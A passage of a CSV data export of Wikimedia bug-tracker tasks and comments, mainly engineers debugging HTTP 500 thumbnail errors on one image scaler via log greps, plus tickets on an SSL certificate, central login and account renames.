+[02:10:10] <Reedy> thanks",,,1379553025,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-5ts3ggpcjypmoohi32ft,task_subcomment,,True,c2,3,True,,,3,True,1,1,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,1,1,1,0,1,1,1,1,0,0,1,1,1,1,0,1,1,0,1
+254803,Wikimedia thumbnail generator often returns HTTP 500 Internal Server Error,"Yup, still mw1154
+
+
+reedy@fluorine:/a/mw-log$ grep -c mw1153 thumbnail.log
+50057
+reedy@fluorine:/a/mw-log$ grep -c mw1154 thumbnail.log
+125850
+reedy@fluorine:/a/mw-log$ grep -c mw1155 thumbnail.log
+50451
+reedy@fluorine:/a/mw-log$ grep -c mw1156 thumbnail.log
+50584
+reedy@fluorine:/a/mw-log$ grep -c mw1157 thumbnail.log
+51015
+reedy@fluorine:/a/mw-log$ grep -c mw1158 thumbnail.log
+50386
+reedy@fluorine:/a/mw-log$ grep -c mw1159 thumbnail.log
+50134
+reedy@fluorine:/a/mw-log$ grep -c mw1160 thumbnail.log
+51486",,,1379552717,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-5ts3ggpcjypmoohi32ft,task_subcomment,,True,c2,3,True,,,3,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1
+254800,Wikimedia thumbnail generator often returns HTTP 500 Internal Server Error,Ganglia graphs suggest so (mw1154 has less activity) but I haven't specificly tested.,,,1379552393,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-5ts3ggpcjypmoohi32ft,task_subcomment,,True,c2,3,False,,,3,True,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,1,0,0
+254797,Wikimedia thumbnail generator often returns HTTP 500 Internal Server Error,Part of the question would be is it still the same machine? (based on the fact it's already changed once),,,1379547506,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-5ts3ggpcjypmoohi32ft,task_subcomment,,True,c2,3,True,,,3,True,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0,0
+254793,Wikimedia thumbnail generator often returns HTTP 500 Internal Server Error,Could this server be taken out of rotation until the issue is resolved?,,,1379546704,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-5ts3ggpcjypmoohi32ft,task_subcomment,,True,c2,3,False,,,3,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0
+254787,Wikimedia thumbnail generator often returns HTTP 500 Internal Server Error,"The entries in /a/mw-log/thumbnail.log are often hard to correlate since they use temporary file names. However it appears some (or all?) contain a MediaWiki File-namespace url as well.
+
+I just got another HTTP 500 Internal Server Error and found the following entry:
+
+URL: https://upload.wikimedia.org/wikipedia/commons/thumb/e/e8/Trevor_Parscal_December_2008.jpg/660px-Trevor_Parscal_December_2008.jpg
+
+Triggered from an <img> tag on https://commons.wikimedia.org/w/index.php?title=File:Trevor_Parscal_December_2008.jpg&action=submit when previewing an edit.
+
+
+[04:11 UTC] krinkle at fluorine in /a/mw-log
+$ tail thumbnail.log  -n500 | ack-grep Trevor -C 10
+
+Bytes: 0xFF 0x27 0x20 0x69"" from ""'/usr/bin/'rsvg-convert --no-external-files -w 120 -h 61 -o '/tmp/transform_5a95aeb43c6b-1.png' '/tmp/localcopy_61a6c00091e1-1.svg' 2>&1""
+2013-09-17 04:10:06 mw1154 commonswiki: thumbnail failed on mw1154: error 1 """" from ""'/usr/bin/convert' -quality 80 -background white -define jpeg:size=660x440 '/tmp/localcopy_cb6372f89daf-1.jpg'  -thumbnail '660x440!' -set comment 'File source: http://commons.wikimedia.org/wiki/File:Trevor_Parscal_December_2008.jpg' -depth 8 -sharpen '0x0.8'  -rotate -0   '/tmp/transform_f22fd870a3fc-1.jpg' 2>&1""
+2013-09-17 04:10:06 mw1154 commonswiki: Removing bad 0-byte thumbnail ""/tmp/transform_f22fd870a3fc-1.jpg"". unlink() succeeded
+2013-09-17 04:10:06 mw1157 commonswiki: thumbnail failed on mw1157: error 1 ""convert: no decode delegate for this image format `/a/magick-tmp/magick-NyMRfqeG' @ error/constitute.c/ReadImage/532.
+convert: missing an image filename `/tmp/transform_6c0a3d0fd7c4-1.jpg' @ error/convert.c/ConvertImageCommand/3011."" from ""'/usr/bin/convert' -quality 80 -background white -define jpeg:size=120x53 ''  -thumbnail '120x53!' -set comment 'File source: http://commons.wikimedia.org/wiki/File:Banknote_5000_rubles_(1997)_front.jpg' -depth 8 -sharpen '0x0.8'  -rotate -0   '/tmp/transform_6c0a3d0fd7c4-1.jpg' 2>&1""
+..
+2013-09-17 04:13:59 mw1159 commonswiki: thumbnail failed on mw1159: error 1 ""Error reading SVG:Error domain 1 code 96 on line 1 column 17 of file:///tmp/localcopy_2362643f10ec-1.svg: Malformed declaration expecting version"" from ""'/usr/bin/'rsvg-convert --no-external-files -w 120 -h 96 -o '/tmp/transform_8ba6acf9d427-1.png' '/tmp/localcopy_2362643f10ec-1.svg' 2>&1""
+2013-09-17 04:13:59 mw1154 commonswiki: thumbnail failed on mw1154: error 1 """" from ""'/usr/bin/convert' -quality 80 -background white -define jpeg:size=660x440 '/tmp/localcopy_babba88e51a4-1.jpg'  -thumbnail '660x440!' -set comment 'File source: http://commons.wikimedia.org/wiki/File:Trevor_Parscal_December_2008.jpg' -depth 8 -sharpen '0x0.8'  -rotate -0   '/tmp/transform_de7473e35169-1.jpg' 2>&1""
+2013-09-17 04:13:59 mw1154 commonswiki: Removing bad 0-byte thumbnail ""/tmp/transform_de7473e35169-1.jpg"". unlink() succeeded
+2013-09-17 04:14:01 mw1154 commonswiki: Removing bad 0-byte thumbnail ""/tmp/transform_55d5b98e5f7b-1.png"". unlink() succeeded",,,1379391380,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-5ts3ggpcjypmoohi32ft,task_subcomment,,True,c2,3,True,,,2,True,1,0,0,0,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,1,1,1,0,0,0,0,0,0,1,1,1,1,0,1,0,1,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,1,1,0,1,1,1,1,1,0,1,1,1,1,0,1,0,0,1
+254782,Wikimedia thumbnail generator often returns HTTP 500 Internal Server Error,"Btw, good debugging step would be for someone with shell to try running the convert command by hand (with limit.sh) to see what happens (e.g. if issue with cgroup config this would give an error that wouldn't be included in thumb log)
+
+See also gerrit change 83974 which would give more useful error messages in certain circumstances (which may or may not help for the current situation)",,,1379373885,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-5ts3ggpcjypmoohi32ft,task_subcomment,,True,c2,3,False,,,2,True,0,1,0,1,1,1,1,0,0,1,1,1,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,1,0,0,0,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,1,1,0,1,1,0,1
+254775,Wikimedia thumbnail generator often returns HTTP 500 Internal Server Error,*** Bug 54188 has been marked as a duplicate of this bug. ***,,,1379373403,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-5ts3ggpcjypmoohi32ft,task_subcomment,,True,c2,3,False,,,2,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+254767,Wikimedia thumbnail generator often returns HTTP 500 Internal Server Error,"(In reply to comment #5)
+> reedy@fluorine:/a/mw-log$ grep mw1154 thumbnail.log |grep -c error
+> 55424
+> reedy@fluorine:/a/mw-log$ grep -c mw1154 thumbnail.log
+> 111320
+
+We pass things with \n's in them to wfDebugLog for the thumbnail log. I don't think we log successful thumbnailing events at all. So I think all that means is many of the thumbnail error log messages span several lines.",,,1378958845,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-5ts3ggpcjypmoohi32ft,task_subcomment,,True,c2,3,False,,,2,True,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,1,0,0,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,1,0,1,0,0,0,1
+254758,Wikimedia thumbnail generator often returns HTTP 500 Internal Server Error,"When you look at the 500 error message, its supposed to include all the stdout and stderr from convert. However these are empty. Perhaps https://gerrit.wikimedia.org/r/83974 would help debug the situation (including stderr from limit.sh in the 500 error message).",,,1378950740,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-5ts3ggpcjypmoohi32ft,task_subcomment,,True,c2,3,False,,,2,True,1,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,1,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,0,0,1,0,0,1
+254751,Wikimedia thumbnail generator often returns HTTP 500 Internal Server Error,"reedy@fluorine:/a/mw-log$ grep mw1154 thumbnail.log |grep -c error
+55424
+reedy@fluorine:/a/mw-log$ grep -c mw1154 thumbnail.log
+111320",,,1378943525,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-5ts3ggpcjypmoohi32ft,task_subcomment,,True,c2,3,True,,,2,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1
+254744,Wikimedia thumbnail generator often returns HTTP 500 Internal Server Error,"I just did a test on commons - visited a page with 200 images which I suspect were not previously rendered before (note: all were tiff files). 28 of them failed, all from mw1154. There's only 8 image scalars. 200/8 = 25, so its not hard to imagine this means all requests to mw1154 are failing.
+
+Perhaps something is wrong with the cgroups config on that host (or something else that would prevent all shell commands from succeeding)
+
+The ganglia graph seems to indicate that the CPU usage on that host has dropped off since friday - http://ganglia.wikimedia.org/latest/graph.php?g=cpu_report&z=xlarge&c=Image%20scalers%20eqiad&h=mw1154.eqiad.wmnet&l=e2ecff&v=&r=week&su=1&st=1378942982&x=0&n=0",,,1378943170,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-5ts3ggpcjypmoohi32ft,task_subcomment,,True,c2,3,False,,,2,True,1,1,0,0,1,1,1,0,0,0,0,1,0,1,1,1,0,1,1,1,1,0,1,0,1,0,0,0,0,1,0,1,1,1,0,0,1,0,0,1,0,1,1,0,0,1,0,0,1,1,1,1,0,1,0,0,0,1,0,0,1,0,0,1,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,1,1,0,0,0
+254734,Wikimedia thumbnail generator often returns HTTP 500 Internal Server Error,"Looks like mw1153 has stopped being so noisy, and it's now mw1154. Which I guess makes this a dupe of 53753
+
+reedy@fluorine:/a/mw-log$ grep -c error thumbnail.log
+324850
+reedy@fluorine:/a/mw-log$ grep mw1153 thumbnail.log |grep -c error
+22013
+reedy@fluorine:/a/mw-log$ grep mw1154 thumbnail.log |grep -c error
+54280
+reedy@fluorine:/a/mw-log$ grep mw1155 thumbnail.log |grep -c error
+22011
+reedy@fluorine:/a/mw-log$ grep mw1156 thumbnail.log |grep -c error
+21980
+reedy@fluorine:/a/mw-log$ grep mw1157 thumbnail.log |grep -c error
+21847
+reedy@fluorine:/a/mw-log$ grep mw1158 thumbnail.log |grep -c error
+22146
+reedy@fluorine:/a/mw-log$ grep mw1159 thumbnail.log |grep -c error
+21905
+reedy@fluorine:/a/mw-log$ grep mw1160 thumbnail.log |grep -c error
+22107",,,1378942177,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-5ts3ggpcjypmoohi32ft,task_subcomment,,True,c2,3,True,,,2,True,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,1
+254724,Wikimedia thumbnail generator often returns HTTP 500 Internal Server Error,"Always mw1154?
+
+See also bug 53573, mw1153 was (not sure if it's changed) seemingly causing a lot more errors than its counterparts",,,1378941699,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-5ts3ggpcjypmoohi32ft,task_subcomment,,True,c2,3,True,,,2,True,0,0,0,0,1,1,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,0,1,0,1,1,0,0
+254712,Wikimedia thumbnail generator often returns HTTP 500 Internal Server Error,"See also bug 53573. (which was mostly mw1153)
+-----
+>I don't think the scenario is relevant, there is either something wrong with
+>the thumbnail generator script that is triggered by lots of images. Or there is
+>a few faulty servers in the upload.wikimedia.org pool that cause the errors.
+
+Thumbnail generation should be entirely independent of page view actions, so the scenario should definitely not matter",,,1378941647,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-5ts3ggpcjypmoohi32ft,task_subcomment,,True,c2,3,False,,,2,True,1,1,1,1,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,1,0,1,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,1,1,1,0,1,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,1
+55959,Bugzilla to use its own SSL certificate,"Mirroring RT #5011 in Bugzilla, for the sake of transparency.
+
+https://gerrit.wikimedia.org/r/#/c/82879/
+
+--------------------------
+**Version**: wmf-deployment
+**Severity**: normal
+**See Also**:
+https://rt.wikimedia.org/Ticket/Display.html?id=5011",High,80.0,1378761000,1378768487.0,PHID-USER-hgn5uw2jafgjgfvxibhh,True,,False,PHID-TASK-ycvdvmdfiqkvcznf7a7r,task_description,resolved,True,c2,3,True,False,True,1,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+249629,Bugzilla to use its own SSL certificate,Merged.,,,1378768487,,PHID-USER-hgn5uw2jafgjgfvxibhh,True,,,PHID-TASK-ycvdvmdfiqkvcznf7a7r,task_subcomment,,True,c2,3,True,,,1,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0
+55953,Re-SUL on javascript login,"To hopefully address the situation where users are reporting issues where they are logged in on some wikis, but not others, RobLa asked that we look into re-running the SUL logic after a user is logged in with the javascript ping.
+
+--------------------------
+**Version**: master
+**Severity**: enhancement",High,80.0,1378748580,1379440890.0,PHID-USER-doeppszazlm3r7xah4il,False,,False,PHID-TASK-a64u5tzlehgfoet5cwe6,task_description,resolved,True,c2,3,True,False,True,1,True,1,0,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,1,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+249342,Re-SUL on javascript login,"Change 83655 merged by jenkins-bot:
+Re-do edge login when JS login check succeeds
+
+https://gerrit.wikimedia.org/r/83655",,,1379355727,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-a64u5tzlehgfoet5cwe6,task_subcomment,,True,c2,3,False,,,2,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0
+249340,Re-SUL on javascript login,"Change 83655 had a related patch set uploaded by Anomie:
+Re-do edge login when JS login check succeeds
+
+https://gerrit.wikimedia.org/r/83655",,,1378831562,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-a64u5tzlehgfoet5cwe6,task_subcomment,,True,c2,3,False,,,1,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,1,1,0,0,0,0,0
+249338,Re-SUL on javascript login,"Andre, not really.
+
+Brad, it was more running the CentralAuthDoEdgeLogin process again, if the user was logged in from the javascript ping. The localStorage might be contributing to the problem, but if we just re-run the login, then (in theory) it shouldn't matter too much.",,,1378763738,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-a64u5tzlehgfoet5cwe6,task_subcomment,,True,c2,3,True,,,1,True,1,0,0,1,1,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,1,0,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,1,0,0
+249333,Re-SUL on javascript login,"For the records: Also brought up in http://lists.wikimedia.org/pipermail/wikitech-l/2013-September/071718.html and https://de.wikipedia.org/w/index.php?title=Wikipedia:Fragen_zur_Wikipedia&oldid=122384791#Erneut_zum_Unified_Login
+
+Wondering if the patch for bug 53536 could influence the problem. Likely not.",,,1378753695,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-a64u5tzlehgfoet5cwe6,task_subcomment,,True,c2,3,True,,,1,True,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0
+249328,Re-SUL on javascript login,"Clarify, please? Is this asking to try to clear the localStorage already-checked-for-login-today ""cookie"" on say frwiki from the Special:CentralLogin/setCookies pixel loaded from enwiki?",,,1378751490,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-a64u5tzlehgfoet5cwe6,task_subcomment,,True,c2,3,True,,,1,True,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,1,0,0,0,1,1,1,1,0,0,0,0,0,0,1,0,0,0
+55905,Create global account on login/rename,"When a user gets renamed locally to a new name, under which no global account exists and no conflicts accounts exists, the global account should be created automatically.
+
+Maybe this can also be checked on user login, than other (or the previous renamed) user accounts without a conflict can also benefit from this. Should be part of a automigration (wgCentralAuthAutoMigrate).
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=14862",High,80.0,1378630560,1430851335.0,PHID-USER-a6jwrurphpx6yl4coupk,False,PHID-USER-xvs3y6hf6yrfn6sxrk5d,False,PHID-TASK-h4tu4j445kger6aygazx,task_description,declined,True,c2,3,False,False,False,1,True,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,1,1,0,0,0,0,0
+458067,Create global account on login/rename,"MarcoAurelio, why are you mass-changing priorities to ""High"", as in T55905#1261952? Did you run into a bug with drag and drop in phabricator workboards? If so, please report it; I thought it was filed already, but Phabricator search is too poor for me to find it even after 30 min of searching. :(",,,1431506795,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-h4tu4j445kger6aygazx,task_subcomment,,True,c2,3,True,,,89,True,0,0,0,1,0,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0,1,1,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,1,1,0,1,0,1,1,1,1,0,0,0
+454092,Create global account on login/rename,"I think this is not an issue anymore with global renames, as the global account is created when globally renaming an user. Feel free to reopen if you feel the problem still exist. Thanks.",,,1430851335,,PHID-USER-xvs3y6hf6yrfn6sxrk5d,False,,,PHID-TASK-h4tu4j445kger6aygazx,task_subcomment,,True,c2,3,True,,,87,True,0,0,0,1,1,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0
+246758,Create global account on login/rename,"Change 102635 abandoned by Legoktm:
+Autocreate global account after rename
+
+Reason:
+Not worth it at this point
+
+https://gerrit.wikimedia.org/r/102635",,,1412924758,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-h4tu4j445kger6aygazx,task_subcomment,,True,c2,3,False,,,58,True,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,0
+246751,Create global account on login/rename,"Change 102635 had a related patch set uploaded by Legoktm:
+Autocreate global account after rename
+
+https://gerrit.wikimedia.org/r/102635",,,1387441864,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-h4tu4j445kger6aygazx,task_subcomment,,True,c2,3,False,,,16,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+246743,Create global account on login/rename,"(In reply to comment #0)
+> Maybe this can also be checked on user login, than other (or the previous
+> renamed) user accounts without a conflict can also benefit from this. Should
+> be
+> part of a automigration (wgCentralAuthAutoMigrate).
+
+According to the documentation of $wgCentralAuthAutoMigrate, this should already happen if it is enabled.",,,1387441778,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-h4tu4j445kger6aygazx,task_subcomment,,True,c2,3,False,,,16,True,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,1,0,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,1
+55655,Special:ChangeEmail and Special:ChangePassword reuse login-throttled,"They should use own messages or we run into problems even in the source language, see e.g. Change-Id: I565971a90fc383327a51d717a80013cb7a3e9c9b
+
+--------------------------
+**Version**: 1.22.0
+**Severity**: normal",High,80.0,1378045020,1390505545.0,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,False,PHID-TASK-4ttfpix6slf5mw6mouj7,task_description,resolved,True,c2,3,True,False,False,0,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+255875,Special:ChangeEmail and Special:ChangePassword reuse login-throttled,Approved by Siebrand. Thanks!,,,1390505545,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-4ttfpix6slf5mw6mouj7,task_subcomment,,True,c2,3,True,,,21,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+255868,Special:ChangeEmail and Special:ChangePassword reuse login-throttled,"Change 108486 merged by jenkins-bot:
+Remove `login-throttled` system message reuse
+
+https://gerrit.wikimedia.org/r/108486",,,1390504385,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-4ttfpix6slf5mw6mouj7,task_subcomment,,True,c2,3,False,,,21,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+255863,Special:ChangeEmail and Special:ChangePassword reuse login-throttled,"Change 108486 had a related patch set uploaded by Microchip08:
+Remove `login-throttled` system message reuse
+
